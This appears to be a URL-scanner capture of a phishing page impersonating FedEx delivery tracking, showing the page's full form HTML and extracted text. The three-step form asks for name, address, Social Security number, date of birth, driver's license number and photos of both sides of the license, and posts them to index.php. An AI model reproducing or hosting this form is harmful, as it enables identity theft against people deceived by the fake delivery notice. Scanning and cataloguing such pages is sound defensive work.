fedextracking.azurefd.net
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Submitted URL: http://super-violet-1513.fedex21.workers.dev/
Effective URL: https://fedextracking.azurefd.net/
Submission: On March 30 via manual from IN — Scanned from DE
Effective URL: https://fedextracking.azurefd.net/
Submission: On March 30 via manual from IN — Scanned from DE
Form analysis 1 forms found in the DOM
Name: basicform — POST index.php
<form name="basicform" id="basicform" method="post" action="index.php" enctype="multipart/form-data" novalidate="novalidate">
<div id="sf1" class="frm">
<fieldset>
<legend>Step 1 of 3 - Personal details</legend>
<div class="form-group">
<label class="col-lg-2 control-label" for="uname">Name</label>
<div class="col-lg-6">
<input type="text" placeholder=" First name" id="fname" name="fname" class="form-control" autocomplete="off" style="margin-bottom:5px">
<input type="text" placeholder=" Last name" id="lname" name="lname" class="form-control" autocomplete="off">
</div>
</div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="form-group">
<label class="col-lg-2 control-label" for="uname">Address </label>
<div class="col-lg-6">
<input type="text" placeholder=" Address" id="address" name="address" class="form-control" autocomplete="off" style="margin-bottom:5px">
<select class="form-control" id="state" name="state" style="margin-bottom:5px;">
<option value="NONE">Select State</option>
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
<option value="AZ">Arizona</option>
<option value="AR">Arkansas</option>
<option value="CA">California</option>
<option value="CO">Colorado</option>
<option value="CT">Connecticut</option>
<option value="DE">Delaware</option>
<option value="DC">District Of Columbia</option>
<option value="FL">Florida</option>
<option value="GA">Georgia</option>
<option value="HI">Hawaii</option>
<option value="ID">Idaho</option>
<option value="IL">Illinois</option>
<option value="IN">Indiana</option>
<option value="IA">Iowa</option>
<option value="KS">Kansas</option>
<option value="KY">Kentucky</option>
<option value="LA">Louisiana</option>
<option value="ME">Maine</option>
<option value="MD">Maryland</option>
<option value="MA">Massachusetts</option>
<option value="MI">Michigan</option>
<option value="MN">Minnesota</option>
<option value="MS">Mississippi</option>
<option value="MO">Missouri</option>
<option value="MT">Montana</option>
<option value="NE">Nebraska</option>
<option value="NV">Nevada</option>
<option value="NH">New Hampshire</option>
<option value="NJ">New Jersey</option>
<option value="NM">New Mexico</option>
<option value="NY">New York</option>
<option value="NC">North Carolina</option>
<option value="ND">North Dakota</option>
<option value="OH">Ohio</option>
<option value="OK">Oklahoma</option>
<option value="OR">Oregon</option>
<option value="PA">Pennsylvania</option>
<option value="RI">Rhode Island</option>
<option value="SC">South Carolina</option>
<option value="SD">South Dakota</option>
<option value="TN">Tennessee</option>
<option value="TX">Texas</option>
<option value="UT">Utah</option>
<option value="VT">Vermont</option>
<option value="VA">Virginia</option>
<option value="WA">Washington</option>
<option value="WV">West Virginia</option>
<option value="WI">Wisconsin</option>
<option value="WY">Wyoming</option>
<option value="AA">Armed Forces Americas</option>
<option value="AP">Armed Forces Pacific</option>
<option value="AE">Armed Forces Others</option>
<option value="AS">American Samoa</option>
<option value="GU">Guam</option>
<option value="MP">Northern Mariana Islands</option>
<option value="PR">Puerto Rico</option>
<option value="UM">United States Minor Outlying Islands</option>
<option value="VI">Virgin Islands</option>
</select>
<input type="text" placeholder=" Zip Code" id="zipcode" name="zipcode" class="form-control" autocomplete="off" style="margin-bottom:5px">
</div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="form-group">
<div class="col-lg-10 col-lg-offset-2">
<button class="btn btn-success open1" type="button">CONTINUE <span class="fa fa-arrow-right"></span></button>
</div>
</div>
</div>
</fieldset>
</div>
<div id="sf2" class="frm" style="display: none;">
<fieldset>
<legend>Step 2 of 3 - Identification</legend>
<div class="form-group">
<label class="col-lg-2 control-label" for="uemail">SSN</label>
<div class="col-lg-6">
<input type="text" placeholder=" Social Security Number" id="ssn" name="ssn" class="form-control" autocomplete="off" style="margin-bottom:5px">
</div>
</div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="form-group">
<label class="col-lg-2 control-label" for="uemail">Date of Birth</label>
<div class="col-lg-6">
<select id="year" name="yyyy" onchange="change_year(this)" class="form-control" style="margin-bottom:5px">
<option value="year">Year</option>
<option value="1930">1930</option>
<option value="1931">1931</option>
<option value="1932">1932</option>
<option value="1933">1933</option>
<option value="1934">1934</option>
<option value="1935">1935</option>
<option value="1936">1936</option>
<option value="1937">1937</option>
<option value="1938">1938</option>
<option value="1939">1939</option>
<option value="1940">1940</option>
<option value="1941">1941</option>
<option value="1942">1942</option>
<option value="1943">1943</option>
<option value="1944">1944</option>
<option value="1945">1945</option>
<option value="1946">1946</option>
<option value="1947">1947</option>
<option value="1948">1948</option>
<option value="1949">1949</option>
<option value="1950">1950</option>
<option value="1951">1951</option>
<option value="1952">1952</option>
<option value="1953">1953</option>
<option value="1954">1954</option>
<option value="1955">1955</option>
<option value="1956">1956</option>
<option value="1957">1957</option>
<option value="1958">1958</option>
<option value="1959">1959</option>
<option value="1960">1960</option>
<option value="1961">1961</option>
<option value="1962">1962</option>
<option value="1963">1963</option>
<option value="1964">1964</option>
<option value="1965">1965</option>
<option value="1966">1966</option>
<option value="1967">1967</option>
<option value="1968">1968</option>
<option value="1969">1969</option>
<option value="1970">1970</option>
<option value="1971">1971</option>
<option value="1972">1972</option>
<option value="1973">1973</option>
<option value="1974">1974</option>
<option value="1975">1975</option>
<option value="1976">1976</option>
<option value="1977">1977</option>
<option value="1978">1978</option>
<option value="1979">1979</option>
<option value="1980">1980</option>
<option value="1981">1981</option>
<option value="1982">1982</option>
<option value="1983">1983</option>
<option value="1984">1984</option>
<option value="1985">1985</option>
<option value="1986">1986</option>
<option value="1987">1987</option>
<option value="1988">1988</option>
<option value="1989">1989</option>
<option value="1990">1990</option>
<option value="1991">1991</option>
<option value="1992">1992</option>
<option value="1993">1993</option>
<option value="1994">1994</option>
<option value="1995">1995</option>
<option value="1996">1996</option>
<option value="1997">1997</option>
<option value="1998">1998</option>
<option value="1999">1999</option>
<option value="2000">2000</option>
<option value="2001">2001</option>
<option value="2002">2002</option>
<option value="2003">2003</option>
<option value="2004">2004</option>
<option value="2005">2005</option>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>
<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
<option value="2013">2013</option>
<option value="2014">2014</option>
<option value="2015">2015</option>
<option value="2016">2016</option>
<option value="2017">2017</option>
<option value="2018">2018</option>
<option value="2019">2019</option>
<option value="2020">2020</option>
<option value="2021">2021</option>
<option value="2022">2022</option>
</select>
<select id="month" name="mm" onchange="change_month(this)" class="form-control" style="margin-bottom:5px">
<option value="month">Month</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
<select id="day" name="dd" class="form-control" style="margin-bottom:5px">
<option value="day">Day</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
</div>
</div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="form-group">
<label class="col-lg-2 control-label" for="uemail">Driver's License</label>
<div class="col-lg-6">
<input type="text" placeholder=" Driver's License" id="driversl" name="driversl" class="form-control" autocomplete="off">
</div>
</div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="form-group">
<div class="col-lg-10 col-lg-offset-2">
<button class="btn btn-warning back2" type="button"><span class="fa fa-arrow-left"></span> GO BACK</button>
<button class="btn btn-success open2" type="button">CONTINUE <span class="fa fa-arrow-right"></span></button>
</div>
</div>
</fieldset>
</div>
<div id="sf3" class="frm" style="display: none;">
<fieldset>
<legend>Step 3 of 3 - Verification</legend>
<div class="form-group">
<h2>Verify your identity using your driver's license</h2>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<label class="col-lg-2 control-label" for="uemail">Choose photo of your driver's license (FRONT)</label>
<div class="col-lg-6">
<div class="clearfix" style="height: 10px;clear: both;"></div>
<input type="file" id="uemail" name="image" class="custom-file-input" autocomplete="off" accept="image/*">
</div>
<div class="clearfix" style="height: 15px;clear: both;"></div>
<label class="col-lg-2 control-label" for="uemail">Choose photo of your driver's license (BACK)</label>
<div class="col-lg-6">
<div class="clearfix" style="height: 10px;clear: both;"></div>
<input type="file" id="uemail" name="image1" class="custom-file-input" autocomplete="off" accept="image/*">
</div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
</div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="clearfix" style="height: 10px;clear: both;"></div>
<div class="form-group">
<div class="col-lg-10 col-lg-offset-2">
<button class="btn btn-warning back3" type="button"><span class="fa fa-arrow-left"></span> GO BACK</button>
<button class="btn btn-success" type="submit" name="submit">CONFIRM </button>
</div>
</div>
</fieldset>
</div>
</form>Text Content
TAKE CONTROL OF YOUR DELIVERY If we have tried to deliver your package whilst you were not home, you can request a new delivery by filling the form below. REQUEST A NEW DELIVERY Step 1 of 3 - Personal details Name Address Select State Alabama Alaska Arizona Arkansas California Colorado Connecticut Delaware District Of Columbia Florida Georgia Hawaii Idaho Illinois Indiana Iowa Kansas Kentucky Louisiana Maine Maryland Massachusetts Michigan Minnesota Mississippi Missouri Montana Nebraska Nevada New Hampshire New Jersey New Mexico New York North Carolina North Dakota Ohio Oklahoma Oregon Pennsylvania Rhode Island South Carolina South Dakota Tennessee Texas Utah Vermont Virginia Washington West Virginia Wisconsin Wyoming Armed Forces Americas Armed Forces Pacific Armed Forces Others American Samoa Guam Northern Mariana Islands Puerto Rico United States Minor Outlying Islands Virgin Islands CONTINUE Step 2 of 3 - Identification SSN Date of Birth Year193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022 Month123456789101112 Day12345678910111213141516171819202122232425262728293031 Driver's License GO BACK CONTINUE Step 3 of 3 - Verification VERIFY YOUR IDENTITY USING YOUR DRIVER'S LICENSE Choose photo of your driver's license (FRONT) Choose photo of your driver's license (BACK) GO BACK CONFIRM